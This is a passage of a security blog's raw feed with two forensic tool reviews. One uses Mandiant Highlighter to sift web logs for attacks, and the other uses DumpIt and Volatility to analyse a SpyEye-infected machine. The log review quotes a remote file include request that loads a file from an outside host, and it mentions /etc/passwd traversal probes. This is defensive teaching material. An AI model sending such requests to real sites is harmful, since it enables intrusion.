class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-8121965023351191555?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/8121965023351191555/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=8121965023351191555' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/8121965023351191555'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/8121965023351191555'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2011/10/presenting-owasp-top-10-tools-tactics.html' title='Presenting OWASP Top 10 Tools &amp; Tactics at ISSA International'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-5492403113281986467</id><published>2011-10-04T08:04:00.000-07:00</published><updated>2011-10-04T09:25:43.986-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='forensics'/><category scheme='http://www.blogger.com/atom/ns#' term='Mandiant'/><category scheme='http://www.blogger.com/atom/ns#' term='malcode analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='log analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='web application security'/><title type='text'>toolsmith: Log Analysis with Highlighter</title><content type='html'>&lt;a href="http://4.bp.blogspot.com/-dHU-jF997GI/ToshZAEqp0I/AAAAAAAAAhU/HkEM57jVT34/s1600/title.png" target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 135px; height: 137px;" src="http://4.bp.blogspot.com/-dHU-jF997GI/ToshZAEqp0I/AAAAAAAAAhU/HkEM57jVT34/s400/title.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5659654070121178946" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Reprinted with permission for the author only from the October 2011 ISSA Journal&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Prerequisites&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Windows operating system (32-bit &amp;amp; 64-bit)&lt;br /&gt;.NET Framework (2.0 or greater)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Introduction&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Readers may recall coverage of Mandiant tools in prior toolsmiths including Red Curtain in &lt;a href="http://holisticinfosec.org/toolsmith/docs/december2007.pdf" target="_blank"&gt;December 2007&lt;/a&gt; and Memoryze with Audit Viewer in &lt;a href="http://holisticinfosec.org/toolsmith/docs/february2009.pdf" target="_blank"&gt;February 2009&lt;/a&gt;.&lt;br /&gt;Mandiant recently released &lt;a href="https://forums.mandiant.com/topic/highlighter-v113-released" target="_blank"&gt;Highlighter 1.1.3&lt;/a&gt;, a log file analysis tool that provides a graphical component to log analysis designed to help the analyst identify patterns. “Highlighter also provides a number of features aimed at providing the analyst with mechanisms to discern relevant data from irrelevant data.”&lt;br /&gt;I’m always interested in enhanced log review methodology and have much log content to test Highlighter on; a variety of discovery scenarios proved out well with Highlighter.&lt;br /&gt;As a free utility designed primarily for security analysts and system administrators, &lt;a href="http://www.mandiant.com/products/free_software/highlighter/" target="_blank"&gt;Highlighter&lt;/a&gt; offers three views of the log data during analysis:&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Text view:&lt;/span&gt; allows users to highlight interesting keywords and filter out “known good” content&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Graphical, full-content view:&lt;/span&gt; shows all content and the full structure of the file, rendered as an image that is dynamically editable through the user interface&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Histogram view:&lt;/span&gt; displays patterns in the file over time where usage patterns become visually apparent and provide the examiner with useful metadata otherwise not available in other text viewers/editors&lt;br /&gt;I reached out Jed Mitten, project developer along with Jason Luttgens, for more Highlighter details. Highlighter 1.0 was first released at DC3 in St. Louis in '09 with nearly all features and UI driven by internal (i.e., Mandiant) feedback. That said, for version 1.1.3 they recently got some great help from Mandiant Forum user "youngba" who submitted several bug reports and helped us one bug fix that we could not reproduce on our own.  Jason and Jed work closely to provide a look and feel that is as useful as their free time allows (Highlighter is developed almost exclusively in their off hours).&lt;br /&gt;Nothing better than volunteer projects with strong community support; how better to jointly defend ourselves and those we’re charged with protecting?&lt;br /&gt;Jed describes his use of Highlighter as fairly mundane wherein he uses it to investigate event logs (Windows events and others), text output from memory dumps (specifically, ASCII output from memory images), and as one of his favorite large-file readers. As a large-file reader Highlighter reads from disk as-needed making it a great tool for viewing multi-hundred-MB files that often often choke the likes of Notepad, NP++, and others. I will be candid and disclose that I compared Highlighter against the commercial TextPad.&lt;br /&gt;Another use case for Jed includes using the highlight feature to find an initial malicious IP address in an IIS log, determine the files the attacker is abusing, then discovering additional previously unknown evil-doers by observing the highlight overview pane (on the right).&lt;br /&gt;Jed indicates that the success stories that make him proudest come from other users. He loves teaching a class and having the students tell him how they are using Highlighter, and how they would like to see it evolve.  With the user community starting to pick up a Jed considers that a pretty big success as well.&lt;br /&gt;As per the development roadmap, development of Highlighter is very strongly driven by the user community. Both Jason and Jed work a great many hours finding evil (Jason) and wreaking havoc (Jed) in customer systems.  That said, their ability to work on Highlighter does not match their desire to do so. Future hopes for implementation include multi-document highlighting (one highlight set for multiple documents).  They would also like to see one of two things happen:&lt;br /&gt;1) Implement binary reading, arbitrary date formats, arbitrary log formats; or&lt;br /&gt;2) Implement/integrate a framework to allow the community to develop such plugins to affect various aspects of Highlighter. Unfortunately, they have big dreams and somewhat less time but they’re very good at responding to Bug Reports at https://forums.mandiant.com.&lt;br /&gt;Finally, Jed stated that they aren't going to open source Highlighter anytime soon but that they do want the user community to driving its development. You heard it here, readers! Help the Mandiant Forums go nuts with bug reports, feature requests, use cases, success stories, etc! They’ve been concerned that it's been difficult to motivate users to submit on the Forum; perhaps user’s work is too s sensitive or Highlighter is so simple it doesn't really require a lot of question/answers, but Jed considers both of those as wins.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Highlighter&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Installation is as simple as executing &lt;span class="Apple-style-span"&gt;MandiantHighlighter1.1.3.msi&lt;/span&gt; and accepting default configuration settings.&lt;br /&gt;Pattern recognition is the fundamental premise at the core of Highlighter use and, as defined by its name, highlights interesting facets of the data while aiding in filtering and reduction.&lt;br /&gt;For this toolsmith I used web logs from the month of August for HolisticInfoSec.org to demonstrate how to reduce 96427 log lines to useful attack types.&lt;br /&gt;Highlighter is designed for use with text files; .log, .txt, and .csv are all consumed readily.&lt;br /&gt;You can opt to copy all of a log file’s content to your clipboard then click &lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;File - Import&lt;/span&gt; from Clipboard&lt;/span&gt;, or choose &lt;span class="Apple-style-span"&gt;File - Open - File&lt;/span&gt; and select the log file of your choosing. Highlighter also works well with documents created by Mandiant Intelligent Response (MIR); users of that commercial offering may also find Highlighter useful.&lt;br /&gt;Once the log file is loaded, right-click context menus become your primary functionality drivers for Highlighter use. Keep in mind that, once installed, the Highlighter User Guide PDF is included under &lt;span class="Apple-style-span"&gt;Mandiant - Highlighter&lt;/span&gt; in the Start menu.&lt;br /&gt;HolisticInfoSec.org logs exhibit all the expected web application attack attempts in living color (Highlighter pun intended); we’ll bring them all to light (rimshot sound effect) here.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Remote File Include (RFI) attacks&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;I’ve spent a fair bit of time analyzing RFI attacks such that I am aware of common include file names utilized by attackers during attempted insertions on my site.&lt;br /&gt;A common example is &lt;span class="Apple-style-span"&gt;fx29id1.txt&lt;/span&gt; and a typical log entry follows:&lt;br /&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;85.25.84.200 - - [14/Aug/2011:20:30:13 -0600] "GET ////////accounts/inc/include.php?language=0&amp;amp;lang_settings[0][1]=http://203.157.161.13//appserv/fx29id1.txt? HTTP/1.1" 404 2476 "-" "Mozilla/5&lt;/span&gt;.0"&lt;/span&gt;&lt;br /&gt;With holisticinfosec.org-Aug-2011.log loaded, I dropped &lt;span class="Apple-style-span"&gt;fx29id1.txt&lt;/span&gt; in the keyword search field.&lt;br /&gt;Eight lines were detected; I used the graphical view to scroll and align the text view with highlighted results as seen in Figure 1.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-FVUcWk1fTb0/TosmRLe_rHI/AAAAAAAAAhc/JvnwCVURET8/s1600/keyword.png" target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 66px;" src="http://1.bp.blogspot.com/-FVUcWk1fTb0/TosmRLe_rHI/AAAAAAAAAhc/JvnwCVURET8/s400/keyword.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5659659433303583858" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;FIGURE 1:&lt;/span&gt; Highlighted RFI keyword&lt;br /&gt;&lt;br /&gt;Reviewing each of the eight entries confirmed the fact that the RFI attempts were unsuccessful as a 404 code was logged with each entry.&lt;br /&gt;I also took note of the fact that all eight entries originated from 85.25.84.200. I highlighted 85.25.84.200 and right-clicked and selected &lt;span class="Apple-style-span"&gt;Show Only&lt;/span&gt;. The result limited my view to only entries including 85.25.84.200, 15 entries in total. As Jed indicated above, I quickly discovered not only other malfeasance from 85.25.84.200, but other similar attack patterns from other IPs.&lt;br /&gt;I right-clicked again, selected &lt;span class="Apple-style-span"&gt;Field Operations- Set Delimiter&lt;/span&gt; then clicked &lt;span class="Apple-style-span"&gt;Pre-Defined - ApacheLog&lt;/span&gt;. A final right-click thereafter to select &lt;span class="Apple-style-span"&gt;Field Operations - Parse Date/Time&lt;/span&gt; resulted in the histogram seen in Figure 2.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-4HmFA7XLOms/Tosnsc18ssI/AAAAAAAAAhk/iAfgc64w00s/s1600/histogram.png" target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 181px;" src="http://3.bp.blogspot.com/-4HmFA7XLOms/Tosnsc18ssI/AAAAAAAAAhk/iAfgc64w00s/s400/histogram.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5659661001331356354" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;FIGURE 2:&lt;/span&gt; Histogram showing Events Over Time&lt;br /&gt;&lt;br /&gt;If you wish to leave fields highlighted while then tagging another for correlation be sure to check the &lt;span class="Apple-style-span"&gt;Cumulative&lt;/span&gt; checkbox at the top toolbar. Additionally, to jump to a highlighted field, though only for the most recent set of highlights, you can use the 'n' hotkey for next and 'p' hotkey for previous. Hotkeys can be reviewed via &lt;span class="Apple-style-span"&gt;File - Edit Hotkeys&lt;/span&gt; and are well defined in the user guide. I recommend reading said user guide rather than asking thick headed questions of the project lead as I did for which answers are painfully obvious. ;-)&lt;br /&gt;If you wish to manage highlights, perhaps remove one of a set of cumulative highlights, right-click in the text UI, choose &lt;span class="Apple-style-span"&gt;Highlights - Manage&lt;/span&gt;, then check the highlight you wish to remove as seen in Figure 3.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://4.bp.blogspot.com/-WMkIIobwQ8I/Tosp60Q3ZTI/AAAAAAAAAhs/7QknAqLk7Q4/s1600/manager.png" target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 121px;" src="http://4.bp.blogspot.com/-WMkIIobwQ8I/Tosp60Q3ZTI/AAAAAAAAAhs/7QknAqLk7Q4/s400/manager.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5659663447159694642" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;FIGURE 3:&lt;/b&gt; Highlighter Manager&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Directory Traversal&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;I ran quick, simple checks for cross-site scripting and SQL injection in my logs via the likes of keyword searches such as script, select, union, onmouseover, etc. and ironically found none. Most have been a slow month. But of 96427 log entries for August I did find 10 directory traversal attempts specific to the keyword search &lt;span style="font-family:&amp;quot;Courier New&amp;quot;"&gt;/etc/password&lt;/span&gt;. I realize this is a limiting query in and of itself (there are endless other target opportunities) but it proves the point.&lt;br /&gt;To ensure that none were successful I cleared all highlights, manually highlighted &lt;span style="font-family:&amp;quot;Courier New&amp;quot;"&gt;/etc/passwd&lt;/span&gt; from one of the initially discovered entries, then clicked &lt;span style="font-family:&amp;quot;Courier New&amp;quot;"&gt;Highlight&lt;/span&gt;. I then right-clicked one of the highlighted lines and selected &lt;span style="font-family:&amp;quot;Courier New&amp;quot;"&gt;Show Only&lt;/span&gt;. The UI reduced the view down to only the expected 10 results. I then selected 404 with a swipe of the mouse, hit &lt;span style="font-family:&amp;quot;Courier New&amp;quot;"&gt;Highlight&lt;/span&gt; again and confirmed that all 10 entries exhibited 404s only. Phew, no successful attempts.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-bYgy4feiWaM/TosrZ5-stiI/AAAAAAAAAh0/H5owgcrZSE4/s1600/reduce.png" target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 103px;" src="http://1.bp.blogspot.com/-bYgy4feiWaM/TosrZ5-stiI/AAAAAAAAAh0/H5owgcrZSE4/s400/reduce.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5659665080781682210" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;FIGURE 4:&lt;/span&gt; Highlighter query reduction&lt;br /&gt;&lt;br /&gt;There are some feature enhancements I’d definitely like to see added such as a wrap lines option built into the text view; I submitted same to forum for review. Please do so as well if you have feature requests or bug reports.&lt;br /&gt;As a final test to validate Jed’s claim as to large file handling as a Highlighter strong suit, I loaded a 2.44GB Swatch log file. It took a little time to load and format (to be expected), but it Highlighter handled 24,502,412 log entries admirably (no choking). I threw a query for a specific inode at it and Highlighter tagged 1930 hits across 25 million+ lines in ten minutes. Nice.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;In Conclusion&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Highlighter is clearly improving and is definitely a useful tool for optimizing signal to noise in log files on which you’re conducting analysis activity. It should come as no surprise that the folks from Mandiant have produced yet another highly useful yet free tool for community use. Once again, well done.&lt;br /&gt;Ping me via email if you have questions (russ at holisticinfosec dot org).&lt;/div&gt;&lt;div&gt;Cheers…until next month. &lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Acknowledgements&lt;/b&gt;&lt;/div&gt;&lt;div&gt;  &lt;p class="MsoNoSpacing"&gt;Jed Mitten, Highlighter project developer&lt;/p&gt;&lt;p class="MsoNoSpacing"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-5492403113281986467?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/5492403113281986467/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=5492403113281986467' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/5492403113281986467'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/5492403113281986467'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2011/10/toolsmith-log-analysis-with-highlighter.html' title='toolsmith: Log Analysis with Highlighter'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-dHU-jF997GI/ToshZAEqp0I/AAAAAAAAAhU/HkEM57jVT34/s72-c/title.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-1522711690584203785</id><published>2011-09-04T20:46:00.000-07:00</published><updated>2011-09-04T22:30:52.565-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SANS'/><category scheme='http://www.blogger.com/atom/ns#' term='forensics'/><category scheme='http://www.blogger.com/atom/ns#' term='Volatility'/><category scheme='http://www.blogger.com/atom/ns#' term='memory analysis'/><title type='text'>toolsmith: Memory Analysis with DumpIt and Volatility</title><content type='html'>&lt;span style="font-weight:bold;"&gt;Sept. 11, 2001: “To honor those whose lives were lost, their families, and all who sacrifice that we may live in freedom. We will never forget.“&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-hFeTAEK4k20/TmRLWnm4p0I/AAAAAAAAAgM/L6C4DEvS7Gw/s1600/title.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 224px; height: 310px;" src="http://1.bp.blogspot.com/-hFeTAEK4k20/TmRLWnm4p0I/AAAAAAAAAgM/L6C4DEvS7Gw/s400/title.png" alt="" id="BLOGGER_PHOTO_ID_5648722684590729026" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Reprinted with permission for the author only from the September 2011 ISSA Journal&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Prerequisites&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;SIFT 2.1 if you’d like a forensics-focused virtual machine with Volatility ready to go&lt;br /&gt;Python version 2.6 or higher on Window, Linux, or Mac OS X&lt;br /&gt;Some plugins require third party &lt;a href="http://code.google.com/p/volatility/wiki/FAQ#What_are_the_dependencies_for_running_Volatility?" target="_blank"&gt;libraries&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Introduction&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Two recent releases give cause for celebration and discussion in toolsmith. First, in July, Matthieu Suiche of MoonSols released &lt;a href="http://www.moonsols.com/ressources/" target="_blank"&gt;DumpIt&lt;/a&gt;  for general consumption, a “fusion of win32dd and win64dd in one executable.” Running DumpIt on the target system generates a copy of the physical memory in the current directory. That good news was followed by Ken Pryor’s &lt;a href="http://computer-forensics.sans.org/blog/2011/08/04/digital-forensics-case-leads-8-4-11" target="_blank"&gt;post&lt;/a&gt; on the SANS Computer Forensics &lt;a href="http://computer-forensics.sans.org/blog" target="_blank"&gt;Blog&lt;/a&gt;  (I’m a regular reader, you should be too) mentioning the fact that Volatility 2.0 had been released in time for the Open Memory Forensics Workshop, and that &lt;a href="http://computer-forensics.sans.org/community/downloads" target="_blank"&gt;SIFT 2.1&lt;/a&gt;  was also available. Coincidence? I think not; Volatility 2.0 is available on SIFT 2.1. Thus, the perfect storm formed creating the ideal opportunity to discuss the complete life-cycle of memory acquisition and analysis for forensics and incident response. In May 2010, we discussed SIFT 2.0 and mentioned how useful Volatility is, but didn’t give its due. Always time to make up for our shortcomings, right?&lt;br /&gt;If you aren't already aware of &lt;a href="https://www.volatilesystems.com/default/volatility#overview" target="_blank"&gt;Volatility&lt;/a&gt;, “the Volatility Framework is a completely open collection of tools, implemented in Python under the GPL, for the extraction of digital artifacts from volatile memory (RAM) samples.”&lt;br /&gt;One thing I’ve always loved about writing &lt;span style="font-style:italic;"&gt;toolsmith&lt;/span&gt; is meeting people (virtually or in person) who share the same passion for and dedication to our discipline. Such is the case with the Volatility community.&lt;br /&gt;As always, I reached out to project leads/contributors and benefited from very personal feedback regarding Volatility. Mike Auty and Michael Hale Ligh (&lt;a href="http://twitter.com/#%21/iMHLv2" target="_blank"&gt;MHL&lt;/a&gt;) each offered valuable insight you may not glean from the impressive technical &lt;a href="https://code.google.com/p/volatility/w/list" target="_blank"&gt;documentation&lt;/a&gt; available to Volatility users.&lt;br /&gt;Regarding the Volatility roadmap, Mike Auty indicated that the team has an ambitious goal for their next release (which they want to release in 6 months, a big change from their last release).  They're hoping to add Linux support (as written by Andrew Case), as well as 64-bit support for Windows (still being written), and a general tidy up for the code base without breaking the API.&lt;br /&gt;MHL offered the following:&lt;br /&gt;&lt;span style="font-style:italic;"&gt;“At the Open Memory Forensics Workshop (&lt;a href="https://www.volatilesystems.com/default/omfw" target="_blank"&gt;OMFW&lt;/a&gt;)  in late July, many of the developers sat on a panel and described what got them involved in the project. Some of us are experts in disk forensics, wanting to extend those skills to memory analysis. Some are experts in forensics for platforms other than Windows (such as Linux, Android, etc.) who were looking for a common platform to integrate code. I personally was looking for new tools that could help me understand the Windows kernel better and make my training course on rootkits more interesting to people already familiar with running live tools such as GMER, IceSword, Rootkit Unhooker, etc. I think the open source nature of the project is inviting to new-comers, and &lt;span style="font-weight:bold;"&gt;I often refer to the source code as a Python version of the Windows Internals book, since you can really learn a lot about Windows by just looking at how Volatility enumerates evidence.&lt;/span&gt;” &lt;/span&gt;&lt;br /&gt;Man, does that say it all! Stay with this thinking and consider this additional nugget of Volatility majesty from MHL. In his blog post specific to using Volatility to detect Stuxnet, &lt;a href="http://mnin.blogspot.com/2011/06/examining-stuxnets-footprint-in-memory.html" target="_blank"&gt;Stuxnet's Footprint in Memory with Volatility 2.0&lt;/a&gt;, he discusses Sysinternals tools side-by-side with artifacts identified with Volatility. MHL is dead on right when he says this may be of “interest your readers, especially those who have never heard of Volatility before, because it builds on something they do know - Sysinternals tools.”&lt;br /&gt;This was an incredibly timely post for me as I read it right on the heels of hosting the venerable Mark Russinovich at the ISSA Puget Sound July chapter meeting where he presented Zero Day Malware Cleaning with the Sysinternals Tools, including live analysis of the infamous Stuxnet virus.&lt;br /&gt;See how this all comes together so nicely?&lt;br /&gt;Read Mark’s three posts on &lt;a href="http://blogs.technet.com/b/markrussinovich/archive/2011/03/30/3416253.aspx" target="_blank"&gt;Technet&lt;/a&gt; followed immediately by MHL’s post on his MNIN Security Blog, then explore Volatility for yourself; I’ll offer you some SpyEye analysis examples below.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;NOTE:&lt;/span&gt; MHL was one of the authors of &lt;span style="font-style:italic;"&gt;Malware Analyst's Cookbook and DVD: Tools and Techniques for Fighting Malicious Code&lt;/span&gt;; I’ll let the reviews speak for themselves (there are ten reviews on Amazon and all are 5 stars). I share Harlan’s &lt;a href="http://windowsir.blogspot.com/2010/12/book-review-malware-analysts-cookbook.html" target="_blank"&gt;take&lt;/a&gt; on the book and simply recommend that you buy it if this topic interests you.&lt;br /&gt;Some final thoughts from AAron Walters, the principal developer and lead for Volatility:&lt;br /&gt;&lt;span style="font-style:italic;"&gt;“We have a hard working development team and it’s appreciated when people recognize the work that is being done.  The goal was to build a modular and extendable framework that would allow researchers and practitioners come together and collaborate. As a result, shortening the amount of time it takes to get cutting edge research into the hands of practitioners. We also wanted to encourage and push the technical advancement of the digital forensics field which had frequently lagged behind the offensive community. It's amazing to see how far the project has come since I dropped the initial public release more than 4 years ago. With the great community now supporting the project, there are lot more exciting enhancements in the pipe line...”&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;DumpIt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Before you can conduct victim system analysis you need to capture memory. Some form of dd, including MoonSols win32dd and win64dd were/are de facto standards but the recently released MoonSols DumpIt makes the process incredibly simple.&lt;br /&gt;On a victim system (local or via psexec) running DumpIt is as easy as executing DumpIt.exe from the command-line or Windows Explorer. The raw memory dump will be generated and written to the same directory you’re running DumpIt from; answer yes or no when asked if you wish to continue and that’s all there is to it.  A .raw memory image named for the hostname, date, and UTC time will result. DumpIt is ideal for your incident response jump kit; deploy the executable on a USB key or your preferred response media.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-UCqGvBQrGlY/TmROIP2z5NI/AAAAAAAAAgU/AfcHBYZ5glg/s1600/DumpIt.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 101px;" src="http://2.bp.blogspot.com/-UCqGvBQrGlY/TmROIP2z5NI/AAAAAAAAAgU/AfcHBYZ5glg/s400/DumpIt.png" alt="" id="BLOGGER_PHOTO_ID_5648725736231789778" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Figure 1:&lt;/span&gt; Run DumpIt&lt;br /&gt;&lt;br /&gt;Painless and simple, yes? I ran DumpIt on a Windows XP SP3 virtual machine that had been freshly compromised with SpyEye (md5: 00B77D6087F00620508303ACD3FD846A), an exercise that resulted in my being swiftly shunted by my DSL provider. Their consumer protection program was kind enough to let me know that “malicious traffic was originating from my account." Duh, thanks for that, I didn’t know. ;-)&lt;br /&gt;Clearly, it’s time to VPN that traffic out through a cloud node, but I digress.&lt;br /&gt;SpyEye has been in the news again lately with &lt;a href="http://www.usatoday.com/tech/news/story/2011/08/SpyEye-hacker-toolkit-to-lead-to-surge-in-cyberattacks/50080368/1" target="_blank"&gt;USA Today Tech&lt;/a&gt; describing a probable surge in SpyEye attacks due to increased availability and reduced cost  from what used to be as much as $10,000 for all the bells and whistles, down to as little as $95 for the latest version.  Sounds like a good time for a little SpyEye analysis, yes?&lt;br /&gt;I copied the DumpIt-spawned .raw image from the pwned VM to my shiny new SIFT 2.1 VM and got to work.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Volatility 2.0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;So much excellent documentation exists for Volatility; on the Wiki I suggest you immediately read the FAQ, Basic Usage, Command Reference, and Features By Plugin.&lt;br /&gt;As discussed in May 2010’s &lt;span style="font-style:italic;"&gt;toolsmith&lt;/span&gt; on SIFT 2.0, you can make use of Volatility via PTK, but given that we’ve discussed that methodology already and the fact that there are constraints imposed by the UI, we’re going to drive Volatility from the command line for this effort. My memory image was named HIOMALVM02-20110811-165458.raw by DumpIt; I shortened it to HIOMALVM02.raw for ease of documentation and word space.&lt;br /&gt;&lt;br /&gt;I executed &lt;span style="font-family:courier new;"&gt;vol.py imageinfo –f HIOMALVM02.raw&lt;/span&gt; to confirm just that, image information. This plugin provided PAE (physical address extension) status as well as hex offsets for DTB (Directory Table Base), KDBG (short for _KDDEBUGGER_DATA64), KPCR (Kernel Processor Control Region), time stamps and processor counts.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-oj27YYLo5KI/TmRO7cSTIbI/AAAAAAAAAgc/NwEkg_jdVCs/s1600/imageinfo.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 114px;" src="http://3.bp.blogspot.com/-oj27YYLo5KI/TmRO7cSTIbI/AAAAAAAAAgc/NwEkg_jdVCs/s400/imageinfo.png" alt="" id="BLOGGER_PHOTO_ID_5648726615741637042" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Figure 2:&lt;/span&gt; imageinfo plugin results&lt;br /&gt;&lt;br /&gt;Windows XP SP3, check.&lt;br /&gt;Runtime analysis of my SpyEye sample gave me a few queryable entities to throw at Volatility for good measure, but we’ll operate here as if the only information we have only suspicion of system compromise.&lt;br /&gt;It’s always good to see what network connections may have been made.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;vol.py --profile=WinXPSP3x86 connscan -f HIOMALVM02.raw&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The connscan plugin scans physical memory for connection objects.&lt;br /&gt;Results included:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-CdZSNH7K5N4/TmRPoBhhZMI/AAAAAAAAAgk/MqyriiEMAGc/s1600/ScreenShot001.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 50px;" src="http://4.bp.blogspot.com/-CdZSNH7K5N4/TmRPoBhhZMI/AAAAAAAAAgk/MqyriiEMAGc/s400/ScreenShot001.png" alt="" id="BLOGGER_PHOTO_ID_5648727381651842242" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Interesting, both IPs are in Germany, my VMs don’t make known good connections to Germany so let’s &lt;span style="font-weight: bold;"&gt;build from here&lt;/span&gt;.&lt;br /&gt;The PID associated with the second connection to 188.40.138.148 over port 80 is 1512.&lt;br /&gt;The pslist plugin prints active processes by walking the 